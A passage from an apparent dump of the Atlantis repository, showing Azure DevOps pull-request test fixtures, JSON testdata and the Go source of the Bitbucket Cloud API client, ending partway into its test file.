{\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs\"\n\t\t},\n\t\t\"sourceCommit\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3\"\n\t\t},\n\t\t\"targetCommit\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62\"\n\t\t},\n\t\t\"createdBy\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db\"\n\t\t},\n\t\t\"iterations\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/iterations\"\n\t\t}\n\t},\n\t\"supportsIterations\": true,\n\t\"artifactId\": \"vstfs:///Git/PullRequestId/a7573007-bbb3-4341-b726-0c4148a07853%2f3411ebc1-d5aa-464f-9615-0b527bc66719%2f22\"\n}`\n\nvar SelfPullEvent = azuredevops.Event{\n\tEventType: \"git.pullrequest.created\",\n\tResource:  &SelfPull,\n}\n\nvar SelfPullUpdatedEvent = azuredevops.Event{\n\tEventType: \"git.pullrequest.updated\",\n\tResource:  &SelfPull,\n}\n\nvar SelfPullClosedEvent = azuredevops.Event{\n\tEventType: \"git.pullrequest.merged\",\n\tResource:  &SelfPullCompleted,\n}\n\nvar SelfPull = azuredevops.GitPullRequest{\n\tCreatedBy: &azuredevops.IdentityRef{\n\t\tID:          azuredevops.String(\"d6245f20-2af8-44f4-9451-8107cb2767db\"),\n\t\tDisplayName: azuredevops.String(\"User\"),\n\t\tUniqueName:  azuredevops.String(\"user@example.com\"),\n\t},\n\tLastMergeSourceCommit: &azuredevops.GitCommitRef{\n\t\tCommitID: azuredevops.String(\"b60280bc6e62e2f880f1b63c1e24987664d3bda3\"),\n\t\tURL:      azuredevops.String(\"https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3\"),\n\t},\n\tPullRequestID: azuredevops.Int(1),\n\tRepository:    &SelfRepo,\n\tSourceRefName: azuredevops.String(\"refs/heads/feature/sourceBranch\"),\n\tStatus:        azuredevops.String(\"active\"),\n\tTargetRefName: azuredevops.String(\"refs/heads/targetBranch\"),\n\tURL:           azuredevops.String(\"https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21\"),\n}\n\nvar SelfPullCompleted = azuredevops.GitPullRequest{\n\tCreatedBy: &azuredevops.IdentityRef{\n\t\tID:          azuredevops.String(\"d6245f20-2af8-44f4-9451-8107cb2767db\"),\n\t\tDisplayName: azuredevops.String(\"User\"),\n\t\tUniqueName:  azuredevops.String(\"user@example.com\"),\n\t},\n\tLastMergeSourceCommit: &azuredevops.GitCommitRef{\n\t\tCommitID: azuredevops.String(\"b60280bc6e62e2f880f1b63c1e24987664d3bda3\"),\n\t\tURL:      azuredevops.String(\"https://https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3\"),\n\t},\n\tPullRequestID: azuredevops.Int(1),\n\tRepository:    &SelfRepo,\n\tSourceRefName: azuredevops.String(\"refs/heads/owner/sourceBranch\"),\n\tStatus:        azuredevops.String(\"completed\"),\n\tTargetRefName: azuredevops.String(\"refs/heads/targetBranch\"),\n\tURL:           azuredevops.String(\"https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21\"),\n}\n\nvar SelfRepo = azuredevops.GitRepository{\n\tDefaultBranch: azuredevops.String(\"refs/heads/main\"),\n\tName:          azuredevops.String(\"repo\"),\n\tParentRepository: &azuredevops.GitRepositoryRef{\n\t\tName: azuredevops.String(\"owner\"),\n\t},\n\tProject: &azuredevops.TeamProjectReference{\n\t\tID:    azuredevops.String(\"a21f5f20-4a12-aaf4-ab12-9a0927cbbb90\"),\n\t\tName:  azuredevops.String(\"project\"),\n\t\tState: azuredevops.String(\"unchanged\"),\n\t},\n\tWebURL: azuredevops.String(\"https://devops.abc.com/owner/project/_git/repo\"),\n}\n\nvar SelfPullJSON = `{\n\t\"repository\": {\n\t\t\"id\": \"3411ebc1-d5aa-464f-9615-0b527bc66719\",\n\t\t\"name\": \"repo\",\n\t\t\"url\": \"https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719\",\n\t\t\"webUrl\": \"https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719\",\n\t\t\"project\": {\n\t\t\t\"id\": \"a7573007-bbb3-4341-b726-0c4148a07853\",\n\t\t\t\"name\": \"project\",\n\t\t\t\"description\": \"test project created on Halloween 2016\",\n\t\t\t\"url\": \"https://dev.azure.com/owner/_apis/projects/a7573007-bbb3-4341-b726-0c4148a07853\",\n\t\t\t\"state\": \"wellFormed\",\n\t\t\t\"revision\": 7\n\t\t},\n\t\t\"remoteUrl\": \"https://devops.abc.com/owner/project/_git/repo\"\n\t},\n\t\"pullRequestId\": 22,\n\t\"codeReviewId\": 22,\n\t\"status\": \"active\",\n\t\"createdBy\": {\n\t\t\"id\": \"d6245f20-2af8-44f4-9451-8107cb2767db\",\n\t\t\"displayName\": \"Normal Paulk\",\n\t\t\"uniqueName\": \"fabrikamfiber16@hotmail.com\",\n\t\t\"url\": \"https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db\",\n\t\t\"imageUrl\": \"https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db\"\n\t},\n\t\"creationDate\": \"2016-11-01T16:30:31.6655471Z\",\n\t\"title\": \"A new feature\",\n\t\"description\": \"Adding a new feature\",\n\t\"sourceRefName\": \"refs/heads/npaulk/my_work\",\n\t\"targetRefName\": \"refs/heads/new_feature\",\n\t\"mergeStatus\": \"succeeded\",\n\t\"mergeId\": \"f5fc8381-3fb2-49fe-8a0d-27dcc2d6ef82\",\n\t\"lastMergeSourceCommit\": {\n\t\t\"commitId\": \"b60280bc6e62e2f880f1b63c1e24987664d3bda3\",\n\t\t\"url\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3\"\n\t},\n\t\"lastMergeTargetCommit\": {\n\t\t\"commitId\": \"f47bbc106853afe3c1b07a81754bce5f4b8dbf62\",\n\t\t\"url\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62\"\n\t},\n\t\"lastMergeCommit\": {\n\t\t\"commitId\": \"39f52d24533cc712fc845ed9fd1b6c06b3942588\",\n\t\t\"author\": {\n\t\t\t\"name\": \"Normal Paulk\",\n\t\t\t\"email\": \"fabrikamfiber16@hotmail.com\",\n\t\t\t\"date\": \"2016-11-01T16:30:32Z\"\n\t\t},\n\t\t\"committer\": {\n\t\t\t\"name\": \"Normal Paulk\",\n\t\t\t\"email\": \"fabrikamfiber16@hotmail.com\",\n\t\t\t\"date\": \"2016-11-01T16:30:32Z\"\n\t\t},\n\t\t\"comment\": \"Merge pull request 22 from npaulk/my_work into new_feature\",\n\t\t\"url\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/39f52d24533cc712fc845ed9fd1b6c06b3942588\"\n\t},\n\t\"reviewers\": [\n\t\t{\n\t\t\t\"reviewerUrl\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/reviewers/d6245f20-2af8-44f4-9451-8107cb2767db\",\n\t\t\t\"vote\": 0,\n\t\t\t\"id\": \"d6245f20-2af8-44f4-9451-8107cb2767db\",\n\t\t\t\"displayName\": \"Normal Paulk\",\n\t\t\t\"uniqueName\": \"fabrikamfiber16@hotmail.com\",\n\t\t\t\"url\": \"https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db\",\n\t\t\t\"imageUrl\": \"https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db\"\n\t\t}\n\t],\n\t\"url\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22\",\n\t\"_links\": {\n\t\t\"self\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22\"\n\t\t},\n\t\t\"repository\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719\"\n\t\t},\n\t\t\"workItems\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/workitems\"\n\t\t},\n\t\t\"sourceBranch\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs\"\n\t\t},\n\t\t\"targetBranch\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs\"\n\t\t},\n\t\t\"sourceCommit\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3\"\n\t\t},\n\t\t\"targetCommit\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62\"\n\t\t},\n\t\t\"createdBy\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db\"\n\t\t},\n\t\t\"iterations\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/iterations\"\n\t\t}\n\t},\n\t\"supportsIterations\": true,\n\t\"artifactId\": \"vstfs:///Git/PullRequestId/a7573007-bbb3-4341-b726-0c4148a07853%2f3411ebc1-d5aa-464f-9615-0b527bc66719%2f22\"\n}`\n"
  },
  {
    "path": "server/events/vcs/azuredevops/testdata/policyevaluations.json",
    "content": "{\n    \"value\": [\n        {\n            \"configuration\": {\n                \"isDeleted\": false,\n                \"isEnabled\": true,\n                \"isBlocking\": true,\n                \"settings\": {\n                    \"statusGenre\": \"Atlantis Bot/atlantis\",\n                    \"statusName\": \"plan\"\n                }\n            },\n            \"status\": \"approved\"\n        }\n    ],\n    \"count\": 1\n}"
  },
  {
    "path": "server/events/vcs/azuredevops/testdata/pr.json",
    "content": "{\n    \"repository\": {\n        \"id\": \"22222222-2222-2222-222222222222\",\n        \"name\": \"MyRepository\",\n        \"project\": {\n            \"id\": \"33333333-3333-3333-333333333333\",\n            \"name\": \"MyProject\",\n            \"description\": \"The place for MyProject\"\n        }\n    },\n    \"status\": \"active\",\n    \"createdBy\": {\n        \"displayName\": \"Atlantis Author\",\n        \"id\": \"11111111-1111-1111-111111111111\",\n        \"uniqueName\": \"atlantis.author@example.com\"\n    },\n    \"mergeStatus\": \"notSet\",\n    \"isDraft\": false,\n    \"autoCompleteSetBy\": {\n        \"id\": \"11111111-1111-1111-111111111111\",\n        \"displayName\": \"Atlantis Author\",\n        \"uniqueName\": \"atlantis.author@example.com\"\n    },\n    \"pullRequestId\": 22,\n    \"completionOptions\": {\n        \"bypassPolicy\": false,\n        \"bypassReason\": \"\",\n        \"deleteSourceBranch\": false,\n        \"mergeCommitMessage\": \"TEST MERGE COMMIT MESSAGE\",\n        \"mergeStrategy\": \"noFastForward\",\n        \"squashMerge\": false,\n        \"transitionWorkItems\": true,\n        \"triggeredByAutoComplete\": false\n    },\n    \"reviewers\": [\n        {\n            \"reviewerUrl\": \"https://example:8080/tfs/_apis/git/repositories/8010495e-1002-438d-acbf-aaf245dac7c2/pullRequests/22/reviewers/8010495e-1002-438d-acbf-aaf245dac7c2\",\n            \"vote\": 0,\n            \"id\": \"8010495e-1002-438d-acbf-aaf245dac7c2\",\n            \"displayName\": \"Atlantis Reviewer\",\n            \"uniqueName\": \"atlantis.reviewer@example.com\",\n            \"url\": \"https://owner:8080/tfs/_apis/Identities/8010495e-1002-438d-acbf-aaf245dac7c2\",\n            \"imageUrl\": \"https://owner:8080/tfs/_api/_common/identityImage?id=8010495e-1002-438d-acbf-aaf245dac7c2\"\n        }\n    ]\n}"
  },
  {
    "path": "server/events/vcs/bitbucketcloud/client.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\n// Package bitbucketcloud holds code for Bitbucket Cloud aka (bitbucket.org).\n// It is separate from bitbucketserver because Bitbucket Server has different\n// APIs.\npackage bitbucketcloud\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"strings\"\n\t\"unicode/utf8\"\n\n\tvalidator \"github.com/go-playground/validator/v10\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\nconst BaseURL = \"https://api.bitbucket.org\"\n\ntype Client struct {\n\thttpClient  *http.Client\n\tusername    string // Used for git operations\n\tapiUser     string // Used for API calls (Basic Auth)\n\tpassword    string\n\tBaseURL     string\n\tatlantisURL string\n}\n\n// NewClient builds a bitbucket cloud client. atlantisURL is the\n// URL for Atlantis that will be linked to from the build status icons. This\n// linking is annoying because we don't have anywhere good to link but a URL is\n// required.\n// username is used for git operations, apiUser is used for API authentication (Basic Auth).\n// If apiUser is empty, it will default to username for backward compatibility.\nfunc New(httpClient *http.Client, username string, password string, apiUser string, atlantisURL string) *Client {\n\tif httpClient == nil {\n\t\thttpClient = http.DefaultClient\n\t}\n\t// Use apiUser for API calls if provided, otherwise fall back to username for backward compatibility\n\tif apiUser == \"\" {\n\t\tapiUser = username\n\t}\n\treturn &Client{\n\t\thttpClient:  httpClient,\n\t\tusername:    username,\n\t\tapiUser:     apiUser,\n\t\tpassword:    password,\n\t\tBaseURL:     BaseURL,\n\t\tatlantisURL: atlantisURL,\n\t}\n}\n\nvar MY_UUID = \"\"\n\n// GetModifiedFiles returns the names of files that were modified in the merge request\n// relative to the repo root, e.g. parent/child/file.txt.\nfunc (b *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tvar files []string\n\n\tnextPageURL := fmt.Sprintf(\"%s/2.0/repositories/%s/pullrequests/%d/diffstat\", b.BaseURL, repo.FullName, pull.Num)\n\t// We'll only loop 1000 times as a safety measure.\n\tmaxLoops := 1000\n\tfor range maxLoops {\n\t\tresp, err := b.makeRequest(\"GET\", nextPageURL, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tvar diffStat DiffStat\n\t\tif err := json.Unmarshal(resp, &diffStat); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing response %q: %w\", string(resp), err)\n\t\t}\n\t\tif err := validator.New().Struct(diffStat); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"response %q was missing fields: %w\", string(resp), err)\n\t\t}\n\t\tfor _, v := range diffStat.Values {\n\t\t\tif v.Old != nil {\n\t\t\t\tfiles = append(files, *v.Old.Path)\n\t\t\t}\n\t\t\tif v.New != nil {\n\t\t\t\tfiles = append(files, *v.New.Path)\n\t\t\t}\n\t\t}\n\t\tif diffStat.Next == nil || *diffStat.Next == \"\" {\n\t\t\tbreak\n\t\t}\n\t\tnextPageURL = *diffStat.Next\n\t}\n\n\t// Now ensure all files are unique.\n\thash := make(map[string]bool)\n\tvar unique []string\n\tfor _, f := range files {\n\t\tif !hash[f] {\n\t\t\tunique = append(unique, f)\n\t\t\thash[f] = true\n\t\t}\n\t}\n\treturn unique, nil\n}\n\n// CreateComment creates a comment on the merge request.\nfunc (b *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, _ string) error {\n\t// NOTE: I tried to find the maximum size of a comment for bitbucket.org but\n\t// I got up to 200k chars without issue so for now I'm not going to bother\n\t// to detect this.\n\tbodyBytes, err := json.Marshal(map[string]map[string]string{\"content\": {\n\t\t\"raw\": comment,\n\t}})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"json encoding: %w\", err)\n\t}\n\tpath := fmt.Sprintf(\"%s/2.0/repositories/%s/pullrequests/%d/comments\", b.BaseURL, repo.FullName, pullNum)\n\t_, err = b.makeRequest(\"POST\", path, bytes.NewBuffer(bodyBytes))\n\treturn err\n}\n\n// UpdateComment updates the body of a comment on the merge request.\nfunc (b *Client) ReactToComment(_ logging.SimpleLogging, _ models.Repo, _ int, _ int64, _ string) error {\n\t// TODO: Bitbucket support for reactions\n\treturn nil\n}\n\nfunc (b *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, _ string) error {\n\t// there is no way to hide comment, so delete them instead\n\tme, err := b.GetMyUUID()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"getting my uuid, check required scope of the auth token: %w\", err)\n\t}\n\tlogger.Debug(\"My bitbucket user UUID is: %s\", me)\n\n\tcomments, err := b.GetPullRequestComments(repo, pullNum)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, c := range comments {\n\t\tlogger.Debug(\"Comment is %v\", c.Content.Raw)\n\t\tif strings.EqualFold(*c.User.UUID, me) {\n\t\t\t// do the same crude filtering as github client does\n\t\t\tbody := strings.Split(c.Content.Raw, \"\\n\")\n\t\t\tlogger.Debug(\"Body is %s\", body)\n\t\t\tif len(body) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfirstLine := strings.ToLower(body[0])\n\t\t\tif strings.Contains(firstLine, strings.ToLower(command)) {\n\t\t\t\t// we found our old comment that references that command\n\t\t\t\tlogger.Debug(\"Deleting comment with id %s\", *c.ID)\n\t\t\t\terr = b.DeletePullRequestComment(repo, pullNum, *c.ID)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (b *Client) DeletePullRequestComment(repo models.Repo, pullNum int, commentId int) error {\n\tpath := fmt.Sprintf(\"%s/2.0/repositories/%s/pullrequests/%d/comments/%d\", b.BaseURL, repo.FullName, pullNum, commentId)\n\t_, err := b.makeRequest(\"DELETE\", path, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (b *Client) GetPullRequestComments(repo models.Repo, pullNum int) (comments []PullRequestComment, err error) {\n\tpath := fmt.Sprintf(\"%s/2.0/repositories/%s/pullrequests/%d/comments\", b.BaseURL, repo.FullName, pullNum)\n\tres, err := b.makeRequest(\"GET\", path, nil)\n\tif err != nil {\n\t\treturn comments, err\n\t}\n\n\tvar pulls PullRequestComments\n\tif err := json.Unmarshal(res, &pulls); err != nil {\n\t\treturn comments, fmt.Errorf(\"parsing response %q: %w\", string(res), err)\n\t}\n\treturn pulls.Values, nil\n}\n\nfunc (b *Client) GetMyUUID() (uuid string, err error) {\n\tif MY_UUID == \"\" {\n\t\tpath := fmt.Sprintf(\"%s/2.0/user\", b.BaseURL)\n\t\tresp, err := b.makeRequest(\"GET\", path, nil)\n\n\t\tif err != nil {\n\t\t\treturn uuid, err\n\t\t}\n\n\t\tvar user User\n\t\tif err := json.Unmarshal(resp, &user); err != nil {\n\t\t\treturn uuid, fmt.Errorf(\"parsing response %q: %w\", string(resp), err)\n\t\t}\n\n\t\tif err := validator.New().Struct(user); err != nil {\n\t\t\treturn uuid, fmt.Errorf(\"response %q was missing a field: %w\", string(resp), err)\n\t\t}\n\n\t\tuuid = *user.UUID\n\t\tMY_UUID = uuid\n\n\t\treturn uuid, nil\n\t} else {\n\t\treturn MY_UUID, nil\n\t}\n}\n\n// PullIsApproved returns true if the merge request was approved.\nfunc (b *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) {\n\tpath := fmt.Sprintf(\"%s/2.0/repositories/%s/pullrequests/%d\", b.BaseURL, repo.FullName, pull.Num)\n\tresp, err := b.makeRequest(\"GET\", path, nil)\n\tif err != nil {\n\t\treturn approvalStatus, err\n\t}\n\tvar pullResp PullRequest\n\tif err := json.Unmarshal(resp, &pullResp); err != nil {\n\t\treturn approvalStatus, fmt.Errorf(\"parsing response %q: %w\", string(resp), err)\n\t}\n\tif err := validator.New().Struct(pullResp); err != nil {\n\t\treturn approvalStatus, fmt.Errorf(\"response %q was missing fields: %w\", string(resp), err)\n\t}\n\tauthorUUID := *pullResp.Author.UUID\n\tfor _, participant := range pullResp.Participants {\n\t\t// Bitbucket allows the author to approve their own pull request. This\n\t\t// defeats the purpose of approvals so we don't count that approval.\n\t\tif *participant.Approved && *participant.User.UUID != authorUUID {\n\t\t\treturn models.ApprovalStatus{\n\t\t\t\tIsApproved: true,\n\t\t\t}, nil\n\t\t}\n\t}\n\treturn approvalStatus, nil\n}\n\n// PullIsMergeable returns true if the merge request has no conflicts and can be merged.\nfunc (b *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (models.MergeableStatus, error) {\n\tnextPageURL := fmt.Sprintf(\"%s/2.0/repositories/%s/pullrequests/%d/diffstat\", b.BaseURL, repo.FullName, pull.Num)\n\t// We'll only loop 1000 times as a safety measure.\n\tmaxLoops := 1000\n\tfor range maxLoops {\n\t\tresp, err := b.makeRequest(\"GET\", nextPageURL, nil)\n\t\tif err != nil {\n\t\t\treturn models.MergeableStatus{}, err\n\t\t}\n\t\tvar diffStat DiffStat\n\t\tif err := json.Unmarshal(resp, &diffStat); err != nil {\n\t\t\treturn models.MergeableStatus{}, fmt.Errorf(\"parsing response %q: %w\", string(resp), err)\n\t\t}\n\t\tif err := validator.New().Struct(diffStat); err != nil {\n\t\t\treturn models.MergeableStatus{}, fmt.Errorf(\"response %q was missing fields: %w\", string(resp), err)\n\t\t}\n\t\tfor _, v := range diffStat.Values {\n\t\t\t// These values are undocumented, found via manual testing.\n\t\t\tif *v.Status == \"merge conflict\" || *v.Status == \"local deleted\" {\n\t\t\t\treturn models.MergeableStatus{\n\t\t\t\t\tIsMergeable: false,\n\t\t\t\t}, nil\n\t\t\t}\n\t\t}\n\t\tif diffStat.Next == nil || *diffStat.Next == \"\" {\n\t\t\tbreak\n\t\t}\n\t\tnextPageURL = *diffStat.Next\n\t}\n\treturn models.MergeableStatus{\n\t\tIsMergeable: true,\n\t}, nil\n}\n\n// UpdateStatus updates the status of a commit.\nfunc (b *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, src string, description string, url string) error {\n\tbbState := \"FAILED\"\n\tswitch status {\n\tcase models.PendingCommitStatus:\n\t\tbbState = \"INPROGRESS\"\n\tcase models.SuccessCommitStatus:\n\t\tbbState = \"SUCCESSFUL\"\n\tcase models.FailedCommitStatus:\n\t\tbbState = \"FAILED\"\n\t}\n\n\tlogger.Info(\"Updating BitBucket commit status for '%s' to '%s'\", src, bbState)\n\n\t// URL is a required field for bitbucket statuses. We default to the\n\t// Atlantis server's URL.\n\tif url == \"\" {\n\t\turl = b.atlantisURL\n\t}\n\n\t// Ensure key has at most 40 characters\n\tif utf8.RuneCountInString(src) > 40 {\n\t\tsrc = fmt.Sprintf(\"%.37s...\", src)\n\t}\n\n\tbodyBytes, err := json.Marshal(map[string]string{\n\t\t\"key\":         src,\n\t\t\"url\":         url,\n\t\t\"state\":       bbState,\n\t\t\"description\": description,\n\t})\n\n\tpath := fmt.Sprintf(\"%s/2.0/repositories/%s/commit/%s/statuses/build\", b.BaseURL, repo.FullName, pull.HeadCommit)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"json encoding: %w\", err)\n\t}\n\t_, err = b.makeRequest(\"POST\", path, bytes.NewBuffer(bodyBytes))\n\treturn err\n}\n\n// MergePull merges the pull request.\nfunc (b *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, _ models.PullRequestOptions) error {\n\tpath := fmt.Sprintf(\"%s/2.0/repositories/%s/pullrequests/%d/merge\", b.BaseURL, pull.BaseRepo.FullName, pull.Num)\n\t_, err := b.makeRequest(\"POST\", path, nil)\n\treturn err\n}\n\n// MarkdownPullLink specifies the character used in a pull request comment.\nfunc (b *Client) MarkdownPullLink(pull models.PullRequest) (string, error) {\n\treturn fmt.Sprintf(\"#%d\", pull.Num), nil\n}\n\n// prepRequest adds auth and necessary headers.\nfunc (b *Client) prepRequest(method string, path string, body io.Reader) (*http.Request, error) {\n\treq, err := http.NewRequest(method, path, body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Use ApiUser for API authentication, Username is for git operations\n\treq.SetBasicAuth(b.apiUser, b.password)\n\tif body != nil {\n\t\treq.Header.Add(\"Content-Type\", \"application/json\")\n\t}\n\t// Add this header to disable CSRF checks.\n\t// See https://confluence.atlassian.com/cloudkb/xsrf-check-failed-when-calling-cloud-apis-826874382.html\n\treq.Header.Add(\"X-Atlassian-Token\", \"no-check\")\n\treturn req, nil\n}\n\nfunc (b *Client) DiscardReviews(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) error {\n\t// TODO implement\n\treturn nil\n}\n\nfunc (b *Client) makeRequest(method string, path string, reqBody io.Reader) ([]byte, error) {\n\treq, err := b.prepRequest(method, path, reqBody)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"constructing request: %w\", err)\n\t}\n\tresp, err := b.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close() // nolint: errcheck\n\trequestStr := fmt.Sprintf(\"%s %s\", method, path)\n\n\tif resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated && resp.StatusCode != http.StatusNoContent {\n\t\trespBody, _ := io.ReadAll(resp.Body)\n\t\treturn nil, fmt.Errorf(\"making request %q unexpected status code: %d, body: %s\", requestStr, resp.StatusCode, string(respBody))\n\t}\n\trespBody, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"reading response from request %q: %w\", requestStr, err)\n\t}\n\treturn respBody, nil\n}\n\n// GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to).\nfunc (b *Client) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) {\n\treturn nil, nil\n}\n\nfunc (b *Client) SupportsSingleFileDownload(models.Repo) bool {\n\treturn false\n}\n\n// GetFileContent a repository file content from VCS (which support fetch a single file from repository)\n// The first return value indicates whether the repo contains a file or not\n// if BaseRepo had a file, its content will placed on the second return value\nfunc (b *Client) GetFileContent(_ logging.SimpleLogging, _ models.Repo, _ string, _ string) (bool, []byte, error) {\n\treturn false, []byte{}, fmt.Errorf(\"not implemented\")\n}\n\nfunc (b *Client) GetCloneURL(_ logging.SimpleLogging, _ models.VCSHostType, _ string) (string, error) {\n\treturn \"\", fmt.Errorf(\"not yet implemented\")\n}\n\nfunc (b *Client) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) {\n\treturn nil, fmt.Errorf(\"not yet implemented\")\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketcloud/client_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage bitbucketcloud_test\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nconst diffstatURL = \"/2.0/repositories/owner/repo/pullrequests/1/diffstat\"\n\n// Should follow pagination properly.\nfunc TestClient_GetModifiedFilesPagination(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\trespTemplate := `\n{\n    \"pagelen\": 1,\n    \"values\": [\n        {\n            \"type\": \"diffstat\",\n            \"status\": \"modified\",\n            \"lines_removed\": 1,\n            \"lines_added\": 2,\n            \"old\": {\n                \"path\": \"%s\",\n                \"type\": \"commit_file\",\n                \"links\": {\n                    \"self\": {\n                        \"href\": \"https://api.bitbucket.org/2.0/repositories/bitbucket/geordi/src/e1749643d655d7c7014001a6c0f58abaf42ad850/setup.py\"\n                    }\n                }\n            },\n            \"new\": {\n                \"path\": \"%s\",\n                \"type\": \"commit_file\",\n                \"links\": {\n                    \"self\": {\n                        \"href\": \"https://api.bitbucket.org/2.0/repositories/bitbucket/geordi/src/d222fa235229c55dad20b190b0b571adf737d5a6/setup.py\"\n                    }\n                }\n            }\n        }\n    ],\n    \"page\": 1,\n    \"size\": 1\n`\n\tfirstResp := fmt.Sprintf(respTemplate, \"file1.txt\", \"file2.txt\")\n\tsecondResp := fmt.Sprintf(respTemplate, \"file2.txt\", 